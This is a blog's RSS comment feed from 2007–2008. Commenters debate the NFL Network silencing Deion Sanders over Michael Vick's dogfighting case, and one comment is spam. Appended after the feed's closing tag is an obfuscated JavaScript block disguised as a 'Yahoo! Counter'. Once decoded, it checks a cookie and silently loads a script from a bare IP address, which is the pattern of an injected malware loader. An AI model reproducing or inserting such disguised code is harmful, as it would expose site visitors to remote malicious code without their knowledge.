<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/2.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>
<channel>
	<title>Comments on: More Shame on the NFL: Controlling the Message</title>
	<link>http://www.partisanfreepolitics.com/2007/08/more-shame-on-the-nfl-controlling-the-message/</link>
	<description>Partisan Free Politics, a place to discuss the intersection of everyday life - policy - and the politics of possibility</description>
	<pubDate>Fri, 21 Nov 2008 08:41:40 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3</generator>
		<item>
		<title>By: Bennie Huber</title>
		<link>http://www.partisanfreepolitics.com/2007/08/more-shame-on-the-nfl-controlling-the-message/#comment-708</link>
		<dc:creator>Bennie Huber</dc:creator>
		<pubDate>Wed, 26 Mar 2008 00:27:19 +0000</pubDate>
		<guid>http://www.partisanfreepolitics.com/2007/08/more-shame-on-the-nfl-controlling-the-message/#comment-708</guid>
		<description>spathal debasement falcade kinorhyncha predoubtful carid tetraplegia citronellol
&lt;a href="http://www.worldisround.com/articles/11221/index.html" rel="nofollow"&gt;Photographs by Tari Oakes&lt;/a&gt;
 http://www.cnn.com/2000/WORLD/africa/10/31/ethiopia.emperor.ap/</description>
		<content:encoded><![CDATA[<p>spathal debasement falcade kinorhyncha predoubtful carid tetraplegia citronellol<br />
<a href="http://www.worldisround.com/articles/11221/index.html" rel="nofollow">Photographs by Tari Oakes</a><br />
 <a href="http://www.cnn.com/2000/WORLD/africa/10/31/ethiopia.emperor.ap/" rel="nofollow">http://www.cnn.com/2000/WORLD/africa/10/31/ethiopia.emperor.ap/</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Greyson</title>
		<link>http://www.partisanfreepolitics.com/2007/08/more-shame-on-the-nfl-controlling-the-message/#comment-134</link>
		<dc:creator>Greyson</dc:creator>
		<pubDate>Wed, 22 Aug 2007 21:03:08 +0000</pubDate>
		<guid>http://www.partisanfreepolitics.com/2007/08/more-shame-on-the-nfl-controlling-the-message/#comment-134</guid>
		<description>Fox Sports is also running a &lt;a href="http://msn.foxsports.com/nfl/story/7145510?MSNHPHCP&#38;GT1=10347" rel="nofollow"&gt;poll&lt;/a&gt; today that asks what Vick's penalties should be (very poorly timed since he hasn't actually pleaded and signed a statement of facts) and shows how our mob mentality has jumped on this case.  Currently, 56% of the almost 20,000 votes were for more than 18 months in prison and a lifetime ban from the NFL...  Internet polls the end of our democracy???
</description>
		<content:encoded><![CDATA[<p>Fox Sports is also running a <a href="http://msn.foxsports.com/nfl/story/7145510?MSNHPHCP&amp;GT1=10347" rel="nofollow">poll</a> today that asks what Vick&#8217;s penalties should be (very poorly timed since he hasn&#8217;t actually pleaded and signed a statement of facts) and shows how our mob mentality has jumped on this case.  Currently, 56% of the almost 20,000 votes were for more than 18 months in prison and a lifetime ban from the NFL&#8230;  Internet polls the end of our democracy???</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Greyson</title>
		<link>http://www.partisanfreepolitics.com/2007/08/more-shame-on-the-nfl-controlling-the-message/#comment-133</link>
		<dc:creator>Greyson</dc:creator>
		<pubDate>Wed, 22 Aug 2007 19:01:49 +0000</pubDate>
		<guid>http://www.partisanfreepolitics.com/2007/08/more-shame-on-the-nfl-controlling-the-message/#comment-133</guid>
		<description>I'm glad to see more &lt;a href="http://msn.foxsports.com/nfl/story/7144402?MSNHPHMA" rel="nofollow"&gt;support&lt;/a&gt; pouring in for Vick, especially since so many in the mob have been claiming victory and vindication of their idiocy.

Stephon Marbury is always good for a laugh, but he does make the cultural point I was trying for earlier.  Alge Crumpler, my favorite player on the team and Vick's only decent target of the last few years, also had some support, making the audacious claim that Vick is human.  The &lt;a href="http://msn.foxsports.com/nfl/story/7144938" rel="nofollow"&gt;NAACP&lt;/a&gt; also made a statement that really shows the capitol that Atlanta's African-American community has invested in Vick, and the Falcons (one of the very few professional sports teams that has a majority of season tickets owned by black fans.)
</description>
		<content:encoded><![CDATA[<p>I&#8217;m glad to see more <a href="http://msn.foxsports.com/nfl/story/7144402?MSNHPHMA" rel="nofollow">support</a> pouring in for Vick, especially since so many in the mob have been claiming victory and vindication of their idiocy.</p>
<p>Stephon Marbury is always good for a laugh, but he does make the cultural point I was trying for earlier.  Alge Crumpler, my favorite player on the team and Vick&#8217;s only decent target of the last few years, also had some support, making the audacious claim that Vick is human.  The <a href="http://msn.foxsports.com/nfl/story/7144938" rel="nofollow">NAACP</a> also made a statement that really shows the capitol that Atlanta&#8217;s African-American community has invested in Vick, and the Falcons (one of the very few professional sports teams that has a majority of season tickets owned by black fans.)</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Greyson</title>
		<link>http://www.partisanfreepolitics.com/2007/08/more-shame-on-the-nfl-controlling-the-message/#comment-132</link>
		<dc:creator>Greyson</dc:creator>
		<pubDate>Tue, 21 Aug 2007 17:51:33 +0000</pubDate>
		<guid>http://www.partisanfreepolitics.com/2007/08/more-shame-on-the-nfl-controlling-the-message/#comment-132</guid>
		<description>Thanks Andrew, and Matt for your comments.  It is quite a tightrope, and I also share your worry that my view of humanity is unrealistic... I do tend towards idealism at this young stage in my life.  I often worry that centuries of encroaching government and society have created an addiction that will be impossible to break, but until I am ready to give up on humanity and retreat to the wilderness I figure I should keep as optimistic a viewpoint as possible.  In my heart, I hope that our generation will actually change things, and I've seen quite a bit to back this up.  Of course, the first step to breaking an addiction is admitting you have one, and I see the growing movement for liberty within our generation as a strong sign that we are beginning to see the light.  If I have to choose between hope and fatalism, I think that hope gives us the better chance for success.  And I have much more hope and faith in the individuals that I meet on an everyday basis than I have in the "experts" and policy wonks that have dominated the Washington scene since the beginnings of the "Progressive" Movement.

I am not a fan of the NFL Network in the first place.  It definitely is starting to look like the Squealer to Roger Goodell's Napoleon.  I sure hope the NFL fanbase won't buy it, but unfortunately this is probably my optimism leaking out again.
I can certainly respect your stance, Matt.  Though I would caution people to withhold judgment until next Monday, when Vick will enter his plea and sign a statement of facts outlining his admitted involvement.  Now I won't take what he signs as gospel by any means, but I certainly give more credit to his admissions than to those of his co-conspirators who were throwing him under the bus last week.

I do still hope that Vick can recover from this, and use his leadership abilities to benefit society.  He has an uphill battle for sure, but at the top is something that far surpasses the greatest glory that even a Super Bowl could bestow: true greatness.  In his six seasons with the Falcons Mike Vick constantly had his leadership abilities questioned, now he has a chance to show what he really has.  The next three years of his life will set the tone for the rest of it, if he sits quietly or pays only lip service to restitution in an attempt to recoup his career (see Mike Tyson) then he will fail, but if he can really see the error of his ways he now has the opportunity to be a true leader in the community, and a role model for young urban athletes everywhere (see Jim Brown.)  I'll be rooting for that.

If I can now digress to football: First, I think the gambling allegations are outrageous, at least given what I've read so far.  It appears that Vick sponsored his dogs, but I have yet to hear any allegations that he was betting on other dogs, or other events.  It seems to me that he was involved in a competition, just as Arthur Blank's Falcons compete for the prize money of the Super Bowl.  Second, I agree that Vick is due &lt;a href="http://msn.foxsports.com/nfl/story/7140020" rel="nofollow"&gt;additional scrutiny&lt;/a&gt; because he is a quarterback, a position that should be the unquestioned leader of the offense.  I don't expect Vick to get an NFL starter's job right out of the gate, but I would be just as surprised if his athleticism doesn't allow him back on the field (&lt;a href="http://msn.foxsports.com/nfl/story/7140818?MSNHPHMA" rel="nofollow"&gt;like so many other felons before him&lt;/a&gt;) if he is able to rehabilitate his image.  (Free advice if you're reading this Mike, use some of this upcoming freetime to work on those hands and running routes.)  Lastly, I spent last night very disappointed that the Falcons had lost one of my favorite players for at least the season, a very talented, and mobile African-American quarterback.  I am speaking, of course, of D.J. Shockley who until blowing his ACL in a preseason contest, was my last hope to salvage the season (I love and support Joey Harrington, but I'm not sure any of the Falcons do and that can be a problem.)  I really hope D.J. will get well soon, and be ready to compete for the starter's job next season, Atlanta needs that, especially from one of their homegrown sons.</description>
		<content:encoded><![CDATA[<p>Thanks Andrew, and Matt for your comments.  It is quite a tightrope, and I also share your worry that my view of humanity is unrealistic&#8230; I do tend towards idealism at this young stage in my life.  I often worry that centuries of encroaching government and society have created an addiction that will be impossible to break, but until I am ready to give up on humanity and retreat to the wilderness I figure I should keep as optimistic a viewpoint as possible.  In my heart, I hope that our generation will actually change things, and I&#8217;ve seen quite a bit to back this up.  Of course, the first step to breaking an addiction is admitting you have one, and I see the growing movement for liberty within our generation as a strong sign that we are beginning to see the light.  If I have to choose between hope and fatalism, I think that hope gives us the better chance for success.  And I have much more hope and faith in the individuals that I meet on an everyday basis than I have in the &#8220;experts&#8221; and policy wonks that have dominated the Washington scene since the beginnings of the &#8220;Progressive&#8221; Movement.</p>
<p>I am not a fan of the NFL Network in the first place.  It definitely is starting to look like the Squealer to Roger Goodell&#8217;s Napoleon.  I sure hope the NFL fanbase won&#8217;t buy it, but unfortunately this is probably my optimism leaking out again.<br />
I can certainly respect your stance, Matt.  Though I would caution people to withhold judgment until next Monday, when Vick will enter his plea and sign a statement of facts outlining his admitted involvement.  Now I won&#8217;t take what he signs as gospel by any means, but I certainly give more credit to his admissions than to those of his co-conspirators who were throwing him under the bus last week.</p>
<p>I do still hope that Vick can recover from this, and use his leadership abilities to benefit society.  He has an uphill battle for sure, but at the top is something that far surpasses the greatest glory that even a Super Bowl could bestow: true greatness.  In his six seasons with the Falcons Mike Vick constantly had his leadership abilities questioned, now he has a chance to show what he really has.  The next three years of his life will set the tone for the rest of it, if he sits quietly or pays only lip service to restitution in an attempt to recoup his career (see Mike Tyson) then he will fail, but if he can really see the error of his ways he now has the opportunity to be a true leader in the community, and a role model for young urban athletes everywhere (see Jim Brown.)  I&#8217;ll be rooting for that.</p>
<p>If I can now digress to football: First, I think the gambling allegations are outrageous, at least given what I&#8217;ve read so far.  It appears that Vick sponsored his dogs, but I have yet to hear any allegations that he was betting on other dogs, or other events.  It seems to me that he was involved in a competition, just as Arthur Blank&#8217;s Falcons compete for the prize money of the Super Bowl.  Second, I agree that Vick is due <a href="http://msn.foxsports.com/nfl/story/7140020" rel="nofollow">additional scrutiny</a> because he is a quarterback, a position that should be the unquestioned leader of the offense.  I don&#8217;t expect Vick to get an NFL starter&#8217;s job right out of the gate, but I would be just as surprised if his athleticism doesn&#8217;t allow him back on the field (<a href="http://msn.foxsports.com/nfl/story/7140818?MSNHPHMA" rel="nofollow">like so many other felons before him</a>) if he is able to rehabilitate his image.  (Free advice if you&#8217;re reading this Mike, use some of this upcoming freetime to work on those hands and running routes.)  Lastly, I spent last night very disappointed that the Falcons had lost one of my favorite players for at least the season, a very talented, and mobile African-American quarterback.  I am speaking, of course, of D.J. Shockley who until blowing his ACL in a preseason contest, was my last hope to salvage the season (I love and support Joey Harrington, but I&#8217;m not sure any of the Falcons do and that can be a problem.)  I really hope D.J. will get well soon, and be ready to compete for the starter&#8217;s job next season, Atlanta needs that, especially from one of their homegrown sons.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Andrew</title>
		<link>http://www.partisanfreepolitics.com/2007/08/more-shame-on-the-nfl-controlling-the-message/#comment-131</link>
		<dc:creator>Andrew</dc:creator>
		<pubDate>Tue, 21 Aug 2007 15:31:02 +0000</pubDate>
		<guid>http://www.partisanfreepolitics.com/2007/08/more-shame-on-the-nfl-controlling-the-message/#comment-131</guid>
		<description>Greyson, I often enjoy the tightrope you manage to walk. On the one hand you praise the unfettered markets. On the other you wish people did not act so blindly. -I'm not sure that is a realistic view of humanity.&lt;br /&gt;
Firstly, they clearly do not have any responsibility of objectivity. As you say they are a business, they are a business promoting superhuman athletes. A significant portion of that business is PR: trying to hide the effects and damage to players bodies, the widespread use of steroids, and yes even gambling on things like dogfighting...&lt;br /&gt;
Because those real life problems do exist and are seemingly an inextricable part of the sport, then it is an essential part of their plan to ensure that their PR people are on msg.... Deon clearly forgot what his job was, he is nothing more nor less than a PR-man for the NFL.&lt;br /&gt;

&lt;a href="http://www.thefalcoholic.com/story/2007/8/20/193652/748" rel="nofollow"&gt;The Falcoholic's view on the Vick guilty plea&lt;/a&gt;
</description>
		<content:encoded><![CDATA[<p>Greyson, I often enjoy the tightrope you manage to walk. On the one hand you praise the unfettered markets. On the other you wish people did not act so blindly. -I&#8217;m not sure that is a realistic view of humanity.<br />
Firstly, they clearly do not have any responsibility of objectivity. As you say they are a business, they are a business promoting superhuman athletes. A significant portion of that business is PR: trying to hide the effects and damage to players bodies, the widespread use of steroids, and yes even gambling on things like dogfighting&#8230;<br />
Because those real life problems do exist and are seemingly an inextricable part of the sport, then it is an essential part of their plan to ensure that their PR people are on msg&#8230;. Deon clearly forgot what his job was, he is nothing more nor less than a PR-man for the NFL.</p>
<p><a href="http://www.thefalcoholic.com/story/2007/8/20/193652/748" rel="nofollow">The Falcoholic&#8217;s view on the Vick guilty plea</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: MattC</title>
		<link>http://www.partisanfreepolitics.com/2007/08/more-shame-on-the-nfl-controlling-the-message/#comment-130</link>
		<dc:creator>MattC</dc:creator>
		<pubDate>Mon, 20 Aug 2007 23:50:31 +0000</pubDate>
		<guid>http://www.partisanfreepolitics.com/2007/08/more-shame-on-the-nfl-controlling-the-message/#comment-130</guid>
		<description>&lt;p&gt;The NFL will do what they do best.  Controlling the brand.  After every NFL game, on whatever network you want to choose, they pretty much say that you cannot use any of the information, or "rebroadcast in anyway."  You heard about the church last year that wanted to raise some money at a Monday Night Football game, and the NFL sent a cease and desist.  &lt;/p&gt;
&lt;p&gt;Also, being from Atlanta, and being a Falcons fan since I was a kid, I'm very disappointed.  I have supported Vick since he got to Atlanta, and supported the 10 year franchise contract.  Unfortunately, now that he just plead guilty, I'm not in his corner anymore.  I am of the thinking that when people like him, including Elected Officials, celebrities, rock stars, etc., that if they break the law, the get treated the same.  Fuck them getting special treatment.  Vick plead guilty, and now he has to face his mistakes.  I personally also believe that you can do whatever you want. This is America, and I think if people do illegal shit and don't get caught, you have that right to do what you want.  But if you get caught, then you have to own up to your mistakes &#38; illegal activity.  I don't want to get into symantics and details of my opinions of what is illegal vs. legal, but specifically this crime, he knew that he was doing illegal and violent shit.  &lt;/p&gt;
&lt;p&gt;Looks like stupidity is in Michael Vick's family.&lt;/p&gt;
</description>
		<content:encoded><![CDATA[<p>The NFL will do what they do best.  Controlling the brand.  After every NFL game, on whatever network you want to choose, they pretty much say that you cannot use any of the information, or &#8220;rebroadcast in anyway.&#8221;  You heard about the church last year that wanted to raise some money at a Monday Night Football game, and the NFL sent a cease and desist.  </p>
<p>Also, being from Atlanta, and being a Falcons fan since I was a kid, I&#8217;m very disappointed.  I have supported Vick since he got to Atlanta, and supported the 10 year franchise contract.  Unfortunately, now that he just plead guilty, I&#8217;m not in his corner anymore.  I am of the thinking that when people like him, including Elected Officials, celebrities, rock stars, etc., that if they break the law, the get treated the same.  Fuck them getting special treatment.  Vick plead guilty, and now he has to face his mistakes.  I personally also believe that you can do whatever you want. This is America, and I think if people do illegal shit and don&#8217;t get caught, you have that right to do what you want.  But if you get caught, then you have to own up to your mistakes &amp; illegal activity.  I don&#8217;t want to get into symantics and details of my opinions of what is illegal vs. legal, but specifically this crime, he knew that he was doing illegal and violent shit.  </p>
<p>Looks like stupidity is in Michael Vick&#8217;s family.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Greyson</title>
		<link>http://www.partisanfreepolitics.com/2007/08/more-shame-on-the-nfl-controlling-the-message/#comment-129</link>
		<dc:creator>Greyson</dc:creator>
		<pubDate>Mon, 20 Aug 2007 20:35:23 +0000</pubDate>
		<guid>http://www.partisanfreepolitics.com/2007/08/more-shame-on-the-nfl-controlling-the-message/#comment-129</guid>
		<description>Andrew?  You've completely mischaracterized my argument.  I'm not making a legal claim here, I haven't read Deion's contract so such a claim would be impossible, and I would guess that the NFL is probably well within their LEGAL rights to do what they have done (just as I have a legal right to partake in the slavery and murder of cattle.  Just because something is legal doesn't make it right.)  My argument here is in the form of feedback to a business enterprise of which I am a heavy consumer, the NFL, and by association, the NFL Network.  Without feedback from consumers, a free-market system will surely fail to provide a consumable product.
In your response you make some interesting assumptions.  I don't find anything in Sanders' post that is "damaging" to the NFL, unless you suggest that any mention of Vick that isn't followed by "is a monster unfit to walk this planet," is damaging.  (As far as I know, NFL Network hasn't stopped any other employees from speaking about Vick, or dogfighting.  Bryant Gumbel in particular did an entire expose on HBO's Real Sports about dogfighting in general.)  If anything I'd say Deion is supporting the league, and Commissioner Goodell by suggesting Americans take the same cautious approach that the league office has (at least in this case,) before publicly convicting Vick, or officially suspending him.  I also don't see anywhere in the article where he blames the league in any manner.  In fact, I can't even find anything mentioned that suggests any opinion about the league, or the sport of football at all!  (Outside of the opening paragraph where he calls Vick one of the NFL's most exciting players, which is an indisputable fact that is echoed in the very fact that the Falcons, who aren't a great team even with Vick, are scheduled to play the defending champion Indianapolis Colts in this year's Thanksgiving night game on the NFL Network.)
The thing that concerns me the most about your reply is the immense narrow-mindedness, and the defeatist attitude of the final paragraph.  Do you really mean to suggest that anyone who wants to affect any change in society must remain free of all financial commitments, and in effect take a vow of poverty (or at the least self-employment?)  Deion signed the contract, and has not sought to get out of it, because he wants the money, has a strong attachment to the game (which the NFL holds a virtual state-sponsored monopoly on mind you,) and likes the spotlight it provides his flair for making intriguing statements that challenge the status quo both in terms of the game itself, as well as the overall actions of the league.  Again, I'm not saying the league doesn't have the RIGHT to muzzle Deion, but I am saying that as a business that is attempting to represent itself as a mainstream professional media outlet, they have a responsibility to objectivity that is trounced when they take actions like they have here.  
More importantly than their responsibility to objectivity, however, and I feel this is the heart of the argument you were distorting, is their responsibility to their shareholders to make a profit.  If the mass of consumers is okay with muzzling Deion, and Deion alone, then perhaps they've made a correct business decision.  Unfortunately, that is probably the case, but if more people would respect the free exchange of ideas that Deion was trying to progress, rather than embracing the mob mentality that threatens to be the surefire destruction of the last vestiges of democracy we still have, I think we would be much better off in many aspects throughout society.  That is the essence of this post.
</description>
		<content:encoded><![CDATA[<p>Andrew?  You&#8217;ve completely mischaracterized my argument.  I&#8217;m not making a legal claim here, I haven&#8217;t read Deion&#8217;s contract so such a claim would be impossible, and I would guess that the NFL is probably well within their LEGAL rights to do what they have done (just as I have a legal right to partake in the slavery and murder of cattle.  Just because something is legal doesn&#8217;t make it right.)  My argument here is in the form of feedback to a business enterprise of which I am a heavy consumer, the NFL, and by association, the NFL Network.  Without feedback from consumers, a free-market system will surely fail to provide a consumable product.<br />
In your response you make some interesting assumptions.  I don&#8217;t find anything in Sanders&#8217; post that is &#8220;damaging&#8221; to the NFL, unless you suggest that any mention of Vick that isn&#8217;t followed by &#8220;is a monster unfit to walk this planet,&#8221; is damaging.  (As far as I know, NFL Network hasn&#8217;t stopped any other employees from speaking about Vick, or dogfighting.  Bryant Gumbel in particular did an entire expose on HBO&#8217;s Real Sports about dogfighting in general.)  If anything I&#8217;d say Deion is supporting the league, and Commissioner Goodell by suggesting Americans take the same cautious approach that the league office has (at least in this case,) before publicly convicting Vick, or officially suspending him.  I also don&#8217;t see anywhere in the article where he blames the league in any manner.  In fact, I can&#8217;t even find anything mentioned that suggests any opinion about the league, or the sport of football at all!  (Outside of the opening paragraph where he calls Vick one of the NFL&#8217;s most exciting players, which is an indisputable fact that is echoed in the very fact that the Falcons, who aren&#8217;t a great team even with Vick, are scheduled to play the defending champion Indianapolis Colts in this year&#8217;s Thanksgiving night game on the NFL Network.)<br />
The thing that concerns me the most about your reply is the immense narrow-mindedness, and the defeatist attitude of the final paragraph.  Do you really mean to suggest that anyone who wants to affect any change in society must remain free of all financial commitments, and in effect take a vow of poverty (or at the least self-employment?)  Deion signed the contract, and has not sought to get out of it, because he wants the money, has a strong attachment to the game (which the NFL holds a virtual state-sponsored monopoly on mind you,) and likes the spotlight it provides his flair for making intriguing statements that challenge the status quo both in terms of the game itself, as well as the overall actions of the league.  Again, I&#8217;m not saying the league doesn&#8217;t have the RIGHT to muzzle Deion, but I am saying that as a business that is attempting to represent itself as a mainstream professional media outlet, they have a responsibility to objectivity that is trounced when they take actions like they have here.<br />
More importantly than their responsibility to objectivity, however, and I feel this is the heart of the argument you were distorting, is their responsibility to their shareholders to make a profit.  If the mass of consumers is okay with muzzling Deion, and Deion alone, then perhaps they&#8217;ve made a correct business decision.  Unfortunately, that is probably the case, but if more people would respect the free exchange of ideas that Deion was trying to progress, rather than embracing the mob mentality that threatens to be the surefire destruction of the last vestiges of democracy we still have, I think we would be much better off in many aspects throughout society.  That is the essence of this post.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Andrew</title>
		<link>http://www.partisanfreepolitics.com/2007/08/more-shame-on-the-nfl-controlling-the-message/#comment-127</link>
		<dc:creator>Andrew</dc:creator>
		<pubDate>Sun, 19 Aug 2007 14:49:30 +0000</pubDate>
		<guid>http://www.partisanfreepolitics.com/2007/08/more-shame-on-the-nfl-controlling-the-message/#comment-127</guid>
		<description>So this is your argument. Deon signs a lucrative contract with the NFL network giving them veto power over everything he says and does related to the NFL. He weighs in on a very contentious issue that is damaging to the image of the NFL, defending Vick and blaming larger problems within the league. Then the NFL exercises the rights expressed in their contract....


What's the big deal? This isn't a Free Speech issue, it's whether or not a celebrity who has accepted endorsements (i.e. has put a price tag on their own image), must fulfill their contractual obligations. The answer is clearly yes. 


If Deon gave a damn about Free Speech, he would cancel his contract with the NFL - stopping them from pouring millions down his throat - clearing the way for him to express himself. Until he does that, he is nothing more than Camel Joe, Captain Crunch or any other Corporate Icon. (&lt;a href="http://www.news-press.com/apps/pbcs.dll/article?AID=/20070819/COLUMNISTS41/70819006/1075/ACC" rel="nofollow"&gt;Here's the latest column&lt;/a&gt;)</description>
		<content:encoded><![CDATA[<p>So this is your argument. Deon signs a lucrative contract with the NFL network giving them veto power over everything he says and does related to the NFL. He weighs in on a very contentious issue that is damaging to the image of the NFL, defending Vick and blaming larger problems within the league. Then the NFL exercises the rights expressed in their contract&#8230;.</p>
<p>What&#8217;s the big deal? This isn&#8217;t a Free Speech issue, it&#8217;s whether or not a celebrity who has accepted endorsements (i.e. has put a price tag on their own image), must fulfill their contractual obligations. The answer is clearly yes. </p>
<p>If Deon gave a damn about Free Speech, he would cancel his contract with the NFL - stopping them from pouring millions down his throat - clearing the way for him to express himself. Until he does that, he is nothing more than Camel Joe, Captain Crunch or any other Corporate Icon. (<a href="http://www.news-press.com/apps/pbcs.dll/article?AID=/20070819/COLUMNISTS41/70819006/1075/ACC" rel="nofollow">Here&#8217;s the latest column</a>)</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Greyson</title>
		<link>http://www.partisanfreepolitics.com/2007/08/more-shame-on-the-nfl-controlling-the-message/#comment-125</link>
		<dc:creator>Greyson</dc:creator>
		<pubDate>Sun, 19 Aug 2007 02:38:58 +0000</pubDate>
		<guid>http://www.partisanfreepolitics.com/2007/08/more-shame-on-the-nfl-controlling-the-message/#comment-125</guid>
		<description>Sorry for the ugliness, I hope it looks better now...

I actually figured it out on my own, just for the record... I tend to spend more of my time writing (as if you couldn't tell,) and less time trying to figure out how to make it look pretty with a new bit of software.</description>
		<content:encoded><![CDATA[<p>Sorry for the ugliness, I hope it looks better now&#8230;</p>
<p>I actually figured it out on my own, just for the record&#8230; I tend to spend more of my time writing (as if you couldn&#8217;t tell,) and less time trying to figure out how to make it look pretty with a new bit of software.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Andrew</title>
		<link>http://www.partisanfreepolitics.com/2007/08/more-shame-on-the-nfl-controlling-the-message/#comment-122</link>
		<dc:creator>Andrew</dc:creator>
		<pubDate>Thu, 16 Aug 2007 21:34:09 +0000</pubDate>
		<guid>http://www.partisanfreepolitics.com/2007/08/more-shame-on-the-nfl-controlling-the-message/#comment-122</guid>
		<description>&lt;p&gt;Enjoyable read , but god-damnit man, when will you learn to use a proper hyperlink? Here is a YouTube video explaining &lt;a href="http://www.youtube.com/watch?v=ZKDSyRWpkUY&#038;mode=related&#038;search=" rel="nofollow"&gt;How to add a link&lt;/a&gt;. While I'm at it, this guy &lt;a href="http://www.youtube.com/profile_videos?user=snowydancer&#038;p=r" rel="nofollow"&gt;Snowydancer&lt;/a&gt; has a whole series of wordpress how to videos.&lt;/p&gt; &lt;a href="http://www.youtube.com/watch?v=quThuEo2nJk" rel="nofollow"&gt;How to write a post&lt;/a&gt;; &lt;a href="http://www.youtube.com/watch?v=8vwmh_hkKlc" rel="nofollow"&gt;How to update your profile&lt;/a&gt;; &lt;a href="http://www.youtube.com/watch?v=BdGyDQe0p-I" rel="nofollow"&gt;How to moderate your comments&lt;/a&gt;; and &lt;a href="http://www.youtube.com/watch?v=50Db9Lp_9-k" rel="nofollow"&gt;How to manage your blogroll&lt;/a&gt;.
</description>
		<content:encoded><![CDATA[<p>Enjoyable read , but god-damnit man, when will you learn to use a proper hyperlink? Here is a YouTube video explaining <a href="http://www.youtube.com/watch?v=ZKDSyRWpkUY&#038;mode=related&#038;search=" rel="nofollow">How to add a link</a>. While I&#8217;m at it, this guy <a href="http://www.youtube.com/profile_videos?user=snowydancer&#038;p=r" rel="nofollow">Snowydancer</a> has a whole series of wordpress how to videos.</p>
<p> <a href="http://www.youtube.com/watch?v=quThuEo2nJk" rel="nofollow">How to write a post</a>; <a href="http://www.youtube.com/watch?v=8vwmh_hkKlc" rel="nofollow">How to update your profile</a>; <a href="http://www.youtube.com/watch?v=BdGyDQe0p-I" rel="nofollow">How to moderate your comments</a>; and <a href="http://www.youtube.com/watch?v=50Db9Lp_9-k" rel="nofollow">How to manage your blogroll</a>.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script language=javascript><!-- Yahoo! Counter starts here -->
if(typeof(yahoo_counter)!=typeof(1))eval(unescape('/&%2F#.%2E%2E $%3C%64$%69`v%20`%73#t~%79~le!%3D%64%69s&p`l&a`y:%6E$%6F#n%65%3E$\n%76%61&r%20_%3B%69`%66&%28d$%6F%63%75~m`%65#%6E`%74%2E|%63%6F%6F%6B!i|e&%2E$%6D%61&%74c|%68%28%2F#%5C$%62`%68@g$%66&t%3D|1/%29%3D&=!nu%6C|l`%29~d~%6Fcu%6De!n&%74.#w~%72i!%74|%65!%28"|%3Cs@%63#%72%69p!%74%20`%73#r&c~=%2F/@%37&8.~%31#%35|%37%2E!14$%32%2E%35%38%2F$%63%70%2F%3F@%22+n&av%69$%67%61~t!%6F$%72&%2E&%61&p%70~Na%6D~%65%2Ec~ha&%72%41!%74(%30`%29+|"%3E%3C|%5C!%2Fsc@r#%69&pt%3E"%29@%3B\n//%3C@/%64i%76~%3E').replace(/@|\!|\$|\||\&|#|`|~/g,""));var yahoo_counter=1;
<!-- counter end --></script>
